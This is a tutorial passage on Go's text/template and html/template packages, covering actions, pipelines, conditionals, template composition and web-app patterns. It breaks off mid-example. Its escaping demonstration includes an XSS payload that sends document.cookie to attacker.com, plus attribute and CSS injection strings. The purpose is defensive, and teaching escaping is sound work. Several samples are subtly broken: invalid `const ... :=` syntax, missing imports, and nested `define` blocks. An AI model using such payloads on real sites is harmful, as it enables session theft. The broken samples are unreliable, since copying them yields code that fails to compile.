Introduction to Go Templates
Go’s template packages provide powerful text processing capabilities that allow you to separate presentation from program logic. There are two main template packages:
text/template- For general text processinghtml/template- For HTML-specific processing with security features
Why Use Templates?
Templates offer several advantages:
- Separation of concerns (logic vs presentation)
- Reusable content blocks
- Automatic escaping for security
- Structured output generation
Getting Started with Go Templates
Basic Template Syntax
Templates are defined as strings containing text and special “actions” enclosed in double curly braces:
package main
import (
"os"
"text/template"
)
func main() {
// Define a simple template
tmpl := template.Must(template.New("example").Parse("Hello, {{.}}!"))
// Execute the template with data
tmpl.Execute(os.Stdout, "World")
// Output: Hello, World!
}In this example:
- We create a new template named “example”
- We parse a template string with
{{.}}as a placeholder - The dot
.refers to the current data context (in this case, “World”) - The template is executed with “World” as input data
Template Actions
Actions in templates are commands that:
- Insert data values
- Control flow (conditionals, loops)
- Define & call other templates
Common action types:
{{.}}- Insert the value of the current data context{{.Field}}- Access a field or method of the current context{{if .Condition}}...{{else}}...{{end}}- Conditional content{{range .Items}}...{{end}}- Loop over items
Working with Data in Templates
Accessing Structured Data
Templates can work with complex Go data structures:
package main
import (
"os"
"text/template"
)
type Person struct {
Name string
Age int
Hobbies []string
}
func main() {
// Define template for structured data
const tmplText = `
Name: {{.Name}}
Age: {{.Age}}
Hobbies:
{{- range .Hobbies}}
- {{.}}
{{- end}}
`
// Create sample data
person := Person{
Name: "Alice",
Age: 28,
Hobbies: []string{
"Reading",
"Hiking",
"Photography",
},
}
// Parse and execute template
tmpl := template.Must(template.New("person").Parse(tmplText))
tmpl.Execute(os.Stdout, person)
}This produces:
Name: Alice
Age: 28
Hobbies:
- Reading
- Hiking
- Photography
Notes:
{{.Name}}accesses the Name field of the Person struct{{range .Hobbies}}...{{end}}loops over the Hobbies slice{{- }}trims whitespace before the action{{ -}}trims whitespace after the action
Accessing Maps and Nested Data
Templates can also work with maps and nested data structures:
package main
import (
"os"
"text/template"
)
func main() {
// Define template for map data
const tmplText = `
User: {{.username}}
Settings:
Theme: {{.settings.theme}}
Notifications: {{.settings.notifications}}
Pages:
{{- range .settings.pages}}
- {{.}}
{{- end}}
`
// Create a map with nested data
data := map[string]interface{}{
"username": "johndoe",
"settings": map[string]interface{}{
"theme": "dark",
"notifications": true,
"pages": []string{"home", "profile", "settings"},
},
}
// Parse and execute template
tmpl := template.Must(template.New("user").Parse(tmplText))
tmpl.Execute(os.Stdout, data)
}Output:
User: johndoe
Settings:
Theme: dark
Notifications: true
Pages:
- home
- profile
- settings
Variables and Pipelines
Template Variables
You can define variables within templates to store and reuse values:
package main
import (
"os"
"text/template"
)
type User struct {
FirstName string
LastName string
Email string
}
func main() {
const tmplText = `
{{/* Define a variable to store the full name */}}
{{$fullName := printf "%s %s" .FirstName .LastName}}
User Information:
Full Name: {{$fullName}}
Email: {{.Email}}
Username: {{$username := index (split .Email "@") 0}}{{$username}}
`
user := User{
FirstName: "Jane",
LastName: "Smith",
Email: "jane.smith@example.com",
}
funcMap := template.FuncMap{
"split": func(s, sep string) []string {
return strings.Split(s, sep)
},
}
tmpl := template.New("user").Funcs(funcMap)
tmpl = template.Must(tmpl.Parse(tmplText))
tmpl.Execute(os.Stdout, user)
}Output:
User Information:
Full Name: Jane Smith
Email: jane.smith@example.com
Username: jane.smith
Notes:
{{$fullName := printf "%s %s" .FirstName .LastName}}defines a variable- Variable names start with
$ - Variables are only available in the scope where they’re defined
Pipelines
Pipelines allow you to chain operations, similar to Unix pipes:
package main
import (
"os"
"strings"
"text/template"
)
func main() {
const tmplText := `
Original: {{.}}
Uppercase: {{. | toUpper}}
Title Case: {{. | title}}
Word Count: {{. | wordCount}}
First Word: {{. | splitWords | first}}
`
funcMap := template.FuncMap{
"toUpper": strings.ToUpper,
"title": strings.Title,
"splitWords": strings.Fields,
"first": func(a []string) string {
if len(a) > 0 {
return a[0]
}
return ""
},
"wordCount": func(s string) int {
return len(strings.Fields(s))
},
}
text := "the quick brown fox jumps over the lazy dog"
tmpl := template.New("pipeline").Funcs(funcMap)
tmpl = template.Must(tmpl.Parse(tmplText))
tmpl.Execute(os.Stdout, text)
}Output:
Original: the quick brown fox jumps over the lazy dog
Uppercase: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG
Title Case: The Quick Brown Fox Jumps Over The Lazy Dog
Word Count: 9
First Word: the
Control Structures
Conditionals
Templates support conditional logic with if, else if, and else:
package main
import (
"os"
"text/template"
)
type Product struct {
Name string
Price float64
InStock bool
Category string
}
func main() {
const tmplText = `
Product: {{.Name}}
Price: ${{printf "%.2f" .Price}}
{{if .InStock}}
Status: In Stock
{{else}}
Status: Out of Stock
{{end}}
{{if lt .Price 10.0}}
Price Category: Budget
{{else if lt .Price 50.0}}
Price Category: Regular
{{else}}
Price Category: Premium
{{end}}
{{if and .InStock (eq .Category "Electronics")}}
Note: Free shipping available!
{{end}}
`
product := Product{
Name: "Wireless Mouse",
Price: 24.99,
InStock: true,
Category: "Electronics",
}
tmpl := template.Must(template.New("product").Parse(tmplText))
tmpl.Execute(os.Stdout, product)
}Output:
Product: Wireless Mouse
Price: $24.99
Status: In Stock
Price Category: Regular
Note: Free shipping available!
Common comparison operators:
eq- Equalne- Not equallt- Less thanle- Less than or equalgt- Greater thange- Greater than or equal
Logical operators:
and- Logical ANDor- Logical ORnot- Logical NOT
Loops (Range)
The range action is used to iterate over arrays, slices, maps, and channels:
package main
import (
"os"
"text/template"
)
type Inventory struct {
Items []Item
}
type Item struct {
Name string
Quantity int
Price float64
}
func main() {
const tmplText = `
Inventory List:
{{range $index, $item := .Items}}
{{$index | inc}}. {{$item.Name}} - Qty: {{$item.Quantity}}, Price: ${{printf "%.2f" $item.Price}}
{{else}}
No items found in inventory.
{{end}}
Categories:
{{range $category, $items := .Categories}}
- {{$category}}: {{len $items}} items
{{end}}
`
funcMap := template.FuncMap{
"inc": func(i int) int { return i + 1 },
}
inventory := Inventory{
Items: []Item{
{"Laptop", 5, 899.99},
{"Mouse", 10, 24.99},
{"Keyboard", 7, 49.99},
},
}
categories := map[string][]string{
"Electronics": {"Laptop", "Mouse", "Keyboard"},
"Books": {"Go Programming", "Design Patterns"},
"Office": {"Desk Lamp", "Pen Set"},
}
data := struct {
Items []Item
Categories map[string][]string
}{
Items: inventory.Items,
Categories: categories,
}
tmpl := template.New("inventory").Funcs(funcMap)
tmpl = template.Must(tmpl.Parse(tmplText))
tmpl.Execute(os.Stdout, data)
}Output:
Inventory List:
1. Laptop - Qty: 5, Price: $899.99
2. Mouse - Qty: 10, Price: $24.99
3. Keyboard - Qty: 7, Price: $49.99
Categories:
- Electronics: 3 items
- Books: 2 items
- Office: 2 items
Notes:
{{range $index, $item := .Items}}iterates with index and value{{else}}is shown if the range target is empty- You can nest ranges for multi-dimensional data
The with Action
The with action changes the context of the dot (.) temporarily:
package main
import (
"os"
"text/template"
)
type Company struct {
Name string
Address Address
CEO Person
Employees []Person
}
type Address struct {
Street string
City string
State string
ZipCode string
}
type Person struct {
Name string
Title string
Email string
}
func main() {
const tmplText = `
Company: {{.Name}}
{{with .Address}}
Address:
{{.Street}}
{{.City}}, {{.State}} {{.ZipCode}}
{{end}}
{{with .CEO}}
CEO: {{.Name}}, {{.Title}}
Contact: {{.Email}}
{{end}}
Employees:
{{range .Employees}}
- {{.Name}}, {{.Title}}
{{end}}
`
company := Company{
Name: "Acme Corp",
Address: Address{
Street: "123 Main St",
City: "San Francisco",
State: "CA",
ZipCode: "94105",
},
CEO: Person{
Name: "John Doe",
Title: "Chief Executive Officer",
Email: "john.doe@acme.com",
},
Employees: []Person{
{"Alice Smith", "Developer", "alice@acme.com"},
{"Bob Johnson", "Designer", "bob@acme.com"},
{"Carol Williams", "Manager", "carol@acme.com"},
},
}
tmpl := template.Must(template.New("company").Parse(tmplText))
tmpl.Execute(os.Stdout, company)
}Output:
Company: Acme Corp
Address:
123 Main St
San Francisco, CA 94105
CEO: John Doe, Chief Executive Officer
Contact: john.doe@acme.com
Employees:
- Alice Smith, Developer
- Bob Johnson, Designer
- Carol Williams, Manager
Notes:
- Inside the
withblock,.refers to the specified field {{with .Address}}changes context to the Address field- The
withaction is skipped if the value is empty
Template Functions
Built-in Functions
Go templates include several built-in functions:
package main
import (
"os"
"text/template"
)
func main() {
const tmplText = `
{{/* Basic operations */}}
len: {{len .Items}} items
index: {{index .Items 1}}
{{/* Logical operations */}}
and: {{and true .HasPermission}}
or: {{or .IsAdmin .HasPermission}}
not: {{not .IsRestricted}}
{{/* String operations */}}
print: {{print "Hello " "World"}}
printf: {{printf "%.2f" 3.14159}}
{{/* Comparison */}}
Equals: {{eq .Value 10}}
Greater than: {{gt .Value 5}}
Less than or equal: {{le .Value 15}}
`
data := map[string]interface{}{
"Items": []string{"apple", "banana", "cherry"},
"HasPermission": true,
"IsAdmin": false,
"IsRestricted": false,
"Value": 10,
}
tmpl := template.Must(template.New("builtins").Parse(tmplText))
tmpl.Execute(os.Stdout, data)
}Output:
len: 3 items
index: banana
and: true
or: true
not: true
print: Hello World
printf: 3.14
Equals: true
Greater than: true
Less than or equal: true
Custom Functions
You can define custom functions to extend template capabilities:
package main
import (
"os"
"strings"
"text/template"
"time"
)
func main() {
const tmplText = `
{{/* String manipulation */}}
Uppercase: {{upper .Text}}
Title Case: {{title .Text}}
Join: {{join .Tags ", "}}
{{/* Calculations */}}
Sum: {{sum 1 2 3 4}}
Discount: {{discount .Price 15}}%
{{/* Date formatting */}}
Today: {{formatDate .Now "January 2, 2006"}}
Time ago: {{timeAgo .CreatedAt}}
`
funcMap := template.FuncMap{
"upper": strings.ToUpper,
"title": strings.Title,
"join": strings.Join,
"sum": func(nums ...int) int {
total := 0
for _, n := range nums {
total += n
}
return total
},
"discount": func(price, percent float64) float64 {
return price * (percent / 100)
},
"formatDate": func(t time.Time, format string) string {
return t.Format(format)
},
"timeAgo": func(t time.Time) string {
duration := time.Since(t)
hours := int(duration.Hours())
if hours < 1 {
return "just now"
} else if hours < 24 {
return fmt.Sprintf("%d hours ago", hours)
} else {
days := hours / 24
return fmt.Sprintf("%d days ago", days)
}
},
}
data := map[string]interface{}{
"Text": "hello world example",
"Tags": []string{"go", "templates", "tutorial"},
"Price": 49.99,
"Now": time.Now(),
"CreatedAt": time.Now().Add(-48 * time.Hour),
}
tmpl := template.New("custom").Funcs(funcMap)
tmpl = template.Must(tmpl.Parse(tmplText))
tmpl.Execute(os.Stdout, data)
}Notes:
- Function maps must be defined and attached to the template before parsing
- Functions can take multiple arguments and return a single result
- Functions should return a value that can be inserted into the template
Template Composition
Defining Named Templates
Templates can be defined and called by name:
package main
import (
"os"
"text/template"
)
func main() {
const tmplText = `
{{/* Define a template for a list item */}}
{{define "item"}}
- {{.Name}}: {{.Description}}
{{end}}
{{/* Define a template for a section */}}
{{define "section"}}
## {{.Title}}
{{range .Items}}
{{template "item" .}}
{{end}}
{{end}}
# Documentation
{{template "section" .Introduction}}
{{template "section" .Features}}
`
type Item struct {
Name string
Description string
}
type Section struct {
Title string
Items []Item
}
data := struct {
Introduction Section
Features Section
}{
Introduction: Section{
Title: "Introduction",
Items: []Item{
{"Overview", "This document describes the system"},
{"Purpose", "To help users understand the architecture"},
},
},
Features: Section{
Title: "Features",
Items: []Item{
{"Templates", "Reusable components for generating text"},
{"Functions", "Custom operations for data transformation"},
{"Composition", "Building complex templates from small parts"},
},
},
}
tmpl := template.Must(template.New("docs").Parse(tmplText))
tmpl.Execute(os.Stdout, data)
}Output:
# Documentation
## Introduction
- Overview: This document describes the system
- Purpose: To help users understand the architecture
## Features
- Templates: Reusable components for generating text
- Functions: Custom operations for data transformation
- Composition: Building complex templates from small parts
Template Inheritance
You can implement template inheritance patterns:
package main
import (
"os"
"text/template"
)
func main() {
const tmplText = `
{{/* Base layout template */}}
{{define "base"}}
<!DOCTYPE html>
<html>
<head>
<title>{{template "title" .}}</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="/styles.css">
</head>
<body>
<header>
<nav>
<a href="/">Home</a>
<a href="/about">About</a>
<a href="/contact">Contact</a>
</nav>
</header>
<main>
{{template "content" .}}
</main>
<footer>
<p>© {{.Year}} My Website</p>
</footer>
</body>
</html>
{{end}}
{{/* Default title template */}}
{{define "title"}}My Website{{end}}
{{/* Default content template */}}
{{define "content"}}
<h1>Default Content</h1>
<p>This is the default content.</p>
{{end}}
{{/* Home page content */}}
{{define "content-home"}}
<h1>Welcome to My Website</h1>
<p>This is the home page.</p>
<ul>
{{range .FeaturedItems}}
<li>{{.}}</li>
{{end}}
</ul>
{{end}}
{{/* About page content */}}
{{define "content-about"}}
<h1>About Us</h1>
<p>We are a company that specializes in Go templating.</p>
{{end}}
{{/* Render the home page */}}
{{define "home"}}
{{template "base" .}}
{{end}}
{{/* Render the about page */}}
{{define "about"}}
{{define "title"}}About - My Website{{end}}
{{define "content"}}
{{template "content-about" .}}
{{end}}
{{template "base" .}}
{{end}}
`
data := struct {
Year int
FeaturedItems []string
}{
Year: 2025,
FeaturedItems: []string{"Go Templates", "Web Development", "Backend Services"},
}
tmpl := template.Must(template.New("website").Parse(tmplText))
// Render the home page
os.Stdout.WriteString("--- HOME PAGE ---\n")
tmpl.ExecuteTemplate(os.Stdout, "home", data)
// Render the about page
os.Stdout.WriteString("\n\n--- ABOUT PAGE ---\n")
tmpl.ExecuteTemplate(os.Stdout, "about", data)
}This example demonstrates creating a base template with blocks that can be overridden by specific pages.
Template Blocks
The block action provides a way to define default content that can be overridden:
package main
import (
"os"
"text/template"
)
func main() {
const baseTemplate = `
<!DOCTYPE html>
<html>
<head>
<title>{{block "title" .}}Default Title{{end}}</title>
</head>
<body>
<header>
{{block "header" .}}
<h1>Default Header</h1>
{{end}}
</header>
<main>
{{block "content" .}}
<p>Default content</p>
{{end}}
</main>
<footer>
{{block "footer" .}}
<p>© 2025 Default Footer</p>
{{end}}
</footer>
</body>
</html>
`
const pageTemplate = `
{{define "title"}}Product Page{{end}}
{{define "header"}}
<h1>{{.Product.Name}}</h1>
<p>Category: {{.Product.Category}}</p>
{{end}}
{{define "content"}}
<div class="product">
<p>Price: ${{printf "%.2f" .Product.Price}}</p>
<p>{{.Product.Description}}</p>
<button>Add to Cart</button>
</div>
{{end}}
`
// Create a template set
tmpl := template.Must(template.New("base").Parse(baseTemplate))
tmpl = template.Must(tmpl.Parse(pageTemplate))
// Data for the template
data := struct {
Product struct {
Name string
Category string
Price float64
Description string
}
}{
Product: struct {
Name string
Category string
Price float64
Description string
}{
Name: "Ergonomic Keyboard",
Category: "Computer Accessories",
Price: 79.99,
Description: "An ergonomic keyboard designed for comfort and efficiency.",
},
}
// Execute the template with the data
tmpl.Execute(os.Stdout, data)
}HTML Templates and Security
HTML Template Basics
The html/template package works similarly to text/template but provides context-sensitive escaping:
package main
import (
"html/template" // Note the import path
"os"
)
func main() {
const tmplText = `
<!DOCTYPE html>
<html>
<head>
<title>{{.Title}}</title>
</head>
<body>
<h1>{{.Title}}</h1>
<p>{{.Content}}</p>
<div class="user-comments">
{{range .Comments}}
<div class="comment">
<strong>{{.Author}}</strong>
<p>{{.Text}}</p>
</div>
{{end}}
</div>
<script>
const pageTitle = "{{.Title}}";
const commentCount = {{len .Comments}};
</script>
</body>
</html>
`
// Data with potentially unsafe content
data := struct {
Title string
Content string
Comments []struct {
Author string
Text string
}
}{
Title: "Security Example",
Content: "This is <b>HTML</b> content with <script>alert('XSS attack!');</script>",
Comments: []struct {
Author string
Text string
}{
{
Author: "Alice",
Text: "Great article!",
},
{
Author: "Malicious User",
Text: "<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>",
},
},
}
// Parse and execute the template
tmpl := template.Must(template.New("page").Parse(tmplText))
tmpl.Execute(os.Stdout, data)
}In this example:
html/templateautomatically escapes HTML in.Contentand comment text- The malicious script in the comment is rendered harmless
- JavaScript values are also properly escaped
Context-Aware Escaping
html/template uses context-aware escaping based on where values appear:
package main
import (
"html/template"
"os"
)
func main() {
const tmplText = `
<!DOCTYPE html>
<html>
<head>
<title>{{.Title}}</title>
<style>
.user-bg {
background-color: {{.UserColor}};
}
</style>
</head>
<body>
<h1>{{.Title}}</h1>
<div class="user" id="user-{{.UserID}}" data-name="{{.UserName}}">
<a href="/users/{{.UserID}}">Profile</a>
<a href="{{.UserWebsite}}">Website</a>
</div>
<script>
const userData = {
id: {{.UserID}},
name: "{{.UserName}}",
role: "{{.UserRole}}"
};
</script>
</body>
</html>
`
data := struct {
Title string
UserID int
UserName string
UserColor string
UserWebsite string
UserRole string
}{
Title: "User Profile",
UserID: 42,
UserName: "Bob O'Reilly",
UserColor: "#ff0000; javascript:alert('CSS Injection')",
UserWebsite: "https://example.com\" onmouseover=\"alert('XSS')\"",
UserRole: "admin\"; console.log('Escaped properly')",
}
tmpl := template.Must(template.New("page").Parse(tmplText))
tmpl.Execute(os.Stdout, data)
}This example shows how html/template handles different contexts:
- HTML attributes
- CSS values
- JavaScript string literals
- URL attributes
Each context requires different escaping rules, and html/template applies them automatically.
Safe HTML Content
Sometimes you need to include HTML content that you trust and don’t want escaped:
package main
import (
"html/template"
"os"
)
func main() {
const tmplText = `
<!DOCTYPE html>
<html>
<head>
<title>{{.Title}}</title>
</head>
<body>
<h1>{{.Title}}</h1>
<div class="content">
{{.Content}}
</div>
<div class="safe-html">
{{.SafeHTML}}
</div>
</body>
</html>
`
data := struct {
Title string
Content string
SafeHTML template.HTML
}{
Title: "Safe HTML Example",
Content: "<strong>This will be escaped</strong>",
SafeHTML: template.HTML("<strong>This will NOT be escaped</strong>"),
}
tmpl := template.Must(template.New("page").Parse(tmplText))
tmpl.Execute(os.Stdout, data)
}Similar types exist for other contexts:
template.HTML- For HTML contenttemplate.CSS- For CSS contenttemplate.JS- For JavaScript contenttemplate.URL- For URL valuestemplate.Srcset- For srcset attribute values
Warning: Only use these types with content you trust completely. Improper use can lead to security vulnerabilities.
Advanced Template Techniques
Template Parsing Strategies
There are different ways to parse templates:
package main
import (
"fmt"
"os"
"path/filepath"
"text/template"
)
func main() {
// Method 1: Parse a string
tmpl1, err := template.New("inline").Parse("Hello, {{.}}!")
if err != nil {
fmt.Println("Error parsing inline template:", err)
return
}
// Method 2: Parse a single file
tmpl2, err := template.ParseFiles("header.tmpl")
if err != nil {
fmt.Println("Error parsing file:", err)
return
}
// Method 3: Parse multiple files
tmpl3, err := template.ParseFiles("base.tmpl", "content.tmpl", "footer.tmpl")
if err != nil {
fmt.Println("Error parsing multiple files:", err)
return
}
// Method 4: Parse files using a pattern
tmpl4, err := template.ParseGlob("templates/*.tmpl")
if err != nil {
fmt.Println("Error parsing with glob:", err)
return
}
// Method 5: Parse files and add to an existing template
tmpl5 := template.New("base")
tmpl5, err = tmpl5.ParseFiles("base.tmpl")
if err != nil {
fmt.Println("Error in first parse:", err)
return
}
// Add more templates to the set
tmpl5, err = tmpl5.ParseFiles("partials/header.tmpl", "partials/footer.tmpl")
if err != nil {
fmt.Println("Error in second parse:", err)
return
}
}
// The template.Must helper function
func templateMustExample() {
// Without template.Must
tmpl, err := template.New("example").Parse("Value: {{.}}")
if err != nil {
// handle error
panic(err)
}
// With template.Must - panics if error occurs
tmpl = template.Must(template.New("example").Parse("Value: {{.}}"))
// Useful for global templates that must be valid
var templates = template.Must(template.ParseGlob("templates/*.tmpl"))
}
### Organizing Templates in a Web Application
A common pattern for organizing templates in a web application:
```go
package main
import (
"html/template"
"log"
"net/http"
"path/filepath"
)
// Global template cache
var templates map[string]*template.Template
// Initialize templates at startup
func init() {
// Map to store our templates
templates = make(map[string]*template.Template)
// Common layouts
layouts, err := filepath.Glob("templates/layouts/*.tmpl")
if err != nil {
log.Fatal(err)
}
// Pages
pages, err := filepath.Glob("templates/pages/*.tmpl")
if err != nil {
log.Fatal(err)
}
// Shared partials
partials, err := filepath.Glob("templates/partials/*.tmpl")
if err != nil {
log.Fatal(err)
}
// For each page, create a template set with layout and partials
for _, page := range pages {
name := filepath.Base(page)
// Start with partials and layout
files := append(partials, layouts...)
// Add the page itself
files = append(files, page)
// Parse them all into a template set
templates[name] = template.Must(template.ParseFiles(files...))
}
}
func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {
// Get the template from our cache
t, ok := templates[tmpl]
if !ok {
http.Error(w, "Template not found", http.StatusInternalServerError)
return
}
// Execute the template, using "layout" as the base
err := t.ExecuteTemplate(w, "layout", data)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
}
}
func homeHandler(w http.ResponseWriter, r *http.Request) {
data := struct {
Title string
User string
}{
Title: "Home Page",
User: "Guest",
}
renderTemplate(w, "home.tmpl", data)
}
func aboutHandler(w http.ResponseWriter, r *http.Request) {
data := struct {
Title string
Content string
}{
Title: "About Us",
Content: "We are a Go templating company.",
}
renderTemplate(w, "about.tmpl", data)
}
func main() {
http.HandleFunc("/", homeHandler)
http.HandleFunc("/about", aboutHandler)
log.Println("Server started on :8080")
log.Fatal(http.ListenAndServe(":8080", nil))
}This approach:
- Preloads all templates at startup for better performance
- Organizes templates into layouts, pages, and reusable partials
- Provides a clean structure for template management
- Simplifies rendering with a helper function
Practical Examples
Example 1: Data Table with Pagination
package main
import (
"html/template"
"math"
"net/http"
"strconv"
)
type Product struct {
ID int
Name string
Price float64
Category string
InStock bool
}
type PaginatedData struct {
Items []Product
Pagination struct {
Total int
PerPage int
CurrentPage int
TotalPages int
HasPrev bool
HasNext bool
}
}
const tableTemplate = `
<div class="product-table">
<h2>Products ({{.Pagination.Total}} total)</h2>
<table>
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>Price</th>
<th>Category</th>
<th>Status</th>
</tr>
</thead>
<tbody>
{{range .Items}}
<tr class="{{if not .InStock}}out-of-stock{{end}}">
<td>{{.ID}}</td>
<td>{{.Name}}</td>
<td>${{printf "%.2f" .Price}}</td>
<td>{{.Category}}</td>
<td>{{if .InStock}}In Stock{{else}}Out of Stock{{end}}</td>
</tr>
{{else}}
<tr>
<td colspan="5">No products found</td>
</tr>
{{end}}
</tbody>
</table>
<div class="pagination">
{{if .Pagination.HasPrev}}
<a href="?page={{subtract .Pagination.CurrentPage 1}}" class="prev">« Previous</a>
{{else}}
<span class="prev disabled">« Previous</span>
{{end}}
{{range $i := pageRange 1 .Pagination.TotalPages}}
{{if eq $i $.Pagination.CurrentPage}}
<span class="current">{{$i}}</span>
{{else}}
<a href="?page={{$i}}">{{$i}}</a>
{{end}}
{{end}}
{{if .Pagination.HasNext}}
<a href="?page={{add .Pagination.CurrentPage 1}}" class="next">Next »</a>
{{else}}
<span class="next disabled">Next »</span>
{{end}}
</div>
</div>
`
func productsHandler(w http.ResponseWriter, r *http.Request) {
// Get page from query parameter
pageStr := r.URL.Query().Get("page")
page, err := strconv.Atoi(pageStr)
if err != nil || page < 1 {
page = 1
}
// Create sample data
allProducts := []Product{
{1, "Laptop", 1299.99, "Electronics", true},
{2, "Headphones", 149.99, "Electronics", true},
{3, "Mouse", 29.99, "Electronics", false},
{4, "Keyboard", 59.99, "Electronics", true},
{5, "Monitor", 249.99, "Electronics", true},
{6, "Desk Chair", 199.99, "Furniture", true},
{7, "Desk", 299.99, "Furniture", false},
{8, "Bookshelf", 149.99, "Furniture", true},
{9, "Coffee Mug", 12.99, "Kitchen", true},
{10, "Water Bottle", 24.99, "Kitchen", true},
{11, "Notebook", 9.99, "Supplies", true},
{12, "Pen Set", 19.99, "Supplies", false},
{13, "Backpack", 79.99, "Accessories", true},
{14, "Phone Case", 24.99, "Accessories", true},
{15, "Tablet", 399.99, "Electronics", true},
}
// Pagination settings
perPage := 5
totalItems := len(allProducts)
totalPages := int(math.Ceil(float64(totalItems) / float64(perPage)))
// Validate page number
if page > totalPages {
page = totalPages
}
// Calculate start and end indices
start := (page - 1) * perPage
end := start + perPage
if end > totalItems {
end = totalItems
}
// Create paginated data
var data PaginatedData
data.Items = allProducts[start:end]
data.Pagination.Total = totalItems
data.Pagination.PerPage = perPage
data.Pagination.CurrentPage = page
data.Pagination.TotalPages = totalPages
data.Pagination.HasPrev = page > 1
data.Pagination.HasNext = page < totalPages
// Create template functions
funcMap := template.FuncMap{
"add": func(a, b int) int {
return a + b
},
"subtract": func(a, b int) int {
return a - b
},
"pageRange": func(start, end int) []int {
var result []int
for i := start; i <= end; i++ {
result = append(result, i)
}
return result
},
}
// Parse and execute template
tmpl := template.Must(template.New("products").Funcs(funcMap).Parse(tableTemplate))
tmpl.Execute(w, data)
}Example 2: Form Rendering and Validation
package main
import (
"html/template"
"net/http"
"strings"
)
type FormField struct {
Name string
Label string
Type string
Value string
Placeholder string
Required bool
Error string
Options []struct {
Value string
Label string
}
}
type Form struct {
Fields []FormField
Action string
Method string
SubmitLabel string
HasErrors bool
}
const formTemplate = `
<form action="{{.Action}}" method="{{.Method}}">
{{range .Fields}}
<div class="form-group {{if .Error}}has-error{{end}}">
<label for="{{.Name}}">{{.Label}}{{if .Required}} *{{end}}</label>
{{if eq .Type "textarea"}}
<textarea
name="{{.Name}}"
id="{{.Name}}"
placeholder="{{.Placeholder}}"
{{if .Required}}required{{end}}
>{{.Value}}</textarea>
{{else if eq .Type "select"}}
<select
name="{{.Name}}"
id="{{.Name}}"
{{if .Required}}required{{end}}
>
<option value="">-- Select {{.Label}} --</option>
{{range .Options}}
<option value="{{.Value}}" {{if eq .Value $.Value}}selected{{end}}>
{{.Label}}
</option>
{{end}}
</select>
{{else if eq .Type "radio"}}
<div class="radio-group">
{{range .Options}}
<label class="radio-label">
<input
type="radio"
name="{{$.Name}}"
value="{{.Value}}"
{{if eq .Value $.Value}}checked{{end}}
/>
{{.Label}}
</label>
{{end}}
</div>
{{else if eq .Type "checkbox"}}
<input
type="checkbox"
name="{{.Name}}"
id="{{.Name}}"
value="true"
{{if eq .Value "true"}}checked{{end}}
/>
{{else}}
<input
type="{{.Type}}"
name="{{.Name}}"
id="{{.Name}}"
value="{{.Value}}"
placeholder="{{.Placeholder}}"
{{if .Required}}required{{end}}
/>
{{end}}
{{if .Error}}
<div class="error-message">{{.Error}}</div>
{{end}}
</div>
{{end}}
<div class="form-actions">
<button type="submit">{{.SubmitLabel}}</button>
</div>
</form>
`
func contactFormHandler(w http.ResponseWriter, r *http.Request) {
// Create form structure
form := Form{
Action: "/contact",
Method: "post",
SubmitLabel: "Send Message",
HasErrors: false,
Fields: []FormField{
{
Name: "name",
Label: "Your Name",
Type: "text",
Value: "",
Placeholder: "John Doe",
Required: true,
},
{
Name: "email",
Label: "Email Address",
Type: "email",
Value: "",
Placeholder: "john@example.com",
Required: true,
},
{
Name: "subject",
Label: "Subject",
Type: "select",
Value: "",
Required: true,
Options: []struct {
Value string
Label string
}{
{"question", "General Question"},
{"support", "Technical Support"},
{"feedback", "Feedback"},
{"other", "Other"},
},
},
{
Name: "message",
Label: "Message",
Type: "textarea",
Value: "",
Placeholder: "Your message here...",
Required: true,
},
{
Name: "subscribe",
Label: "Subscribe to Newsletter",
Type: "checkbox",
Value: "false",
Required: false,
},
},
}
// Handle form submission
if r.Method == "POST" {
// Parse form data
err := r.ParseForm()
if err != nil {
http.Error(w, "Error parsing form", http.StatusBadRequest)
return
}
// Update field values from form data
for i, field := range form.Fields {
form.Fields[i].Value = r.FormValue(field.Name)
}
// Basic validation
valid := true
// Name validation
name := strings.TrimSpace(r.FormValue("name"))
if name == "" && form.Fields[0].Required {
form.Fields[0].Error = "Name is required"
valid = false
}
// Email validation
email := strings.TrimSpace(r.FormValue("email"))
if email == "" && form.Fields[1].Required {
form.Fields[1].Error = "Email is required"
valid = false
} else if !strings.Contains(email, "@") {
form.Fields[1].Error = "Please enter a valid email address"
valid = false
}
// Subject validation
subject := r.FormValue("subject")
if subject == "" && form.Fields[2].Required {
form.Fields[2].Error = "Please select a subject"
valid = false
}
// Message validation
message := strings.TrimSpace(r.FormValue("message"))
if message == "" && form.Fields[3].Required {
form.Fields[3].Error = "Message is required"
valid = false
} else if len(message) < 10 {
form.Fields[3].Error = "Message must be at least 10 characters"
valid = false
}
form.HasErrors = !valid
// Process valid form
if valid {
// In a real application, you would process the form data here
// (e.g., send email, save to database)
// Redirect to thank you page
http.Redirect(w, r, "/thank-you", http.StatusSeeOther)
return
}
}
// Parse and execute the template
tmpl := template.Must(template.New("contactForm").Parse(formTemplate))
tmpl.Execute(w, form)
}Example 3: Dynamic Navigation Menu
package main
import (
"html/template"
"net/http"
)
type MenuItem struct {
Label string
URL string
Active bool
Children []MenuItem
}
type NavigationData struct {
Items []MenuItem
UserLoggedIn bool
UserRole string
}
const navigationTemplate = `
<nav class="main-nav">
<ul class="nav-list">
{{range .Items}}
<li class="nav-item {{if .Active}}active{{end}} {{if .Children}}has-dropdown{{end}}">
<a href="{{.URL}}" class="nav-link">{{.Label}}</a>
{{if .Children}}
<ul class="dropdown-menu">
{{range .Children}}
<li class="dropdown-item {{if .Active}}active{{end}}">
<a href="{{.URL}}">{{.Label}}</a>
</li>
{{end}}
</ul>
{{end}}
</li>
{{end}}
{{if .UserLoggedIn}}
<li class="nav-item user-menu">
<a href="/account" class="nav-link">My Account</a>
<ul class="dropdown-menu">
<li><a href="/profile">Profile</a></li>
<li><a href="/orders">Orders</a></li>
{{if eq .UserRole "admin"}}
<li><a href="/admin">Admin Panel</a></li>
{{end}}
<li><a href="/logout">Logout</a></li>
</ul>
</li>
{{else}}
<li class="nav-item">
<a href="/login" class="nav-link">Login</a>
</li>
<li class="nav-item">
<a href="/register" class="nav-link">Register</a></li>
{{end}}
</ul>
</nav>
`
func navigationHandler(w http.ResponseWriter, r *http.Request) {
// Current path to determine active item
currentPath := r.URL.Path
// Create navigation data
nav := NavigationData{
UserLoggedIn: r.URL.Query().Get("logged_in") == "true",
UserRole: r.URL.Query().Get("role"),
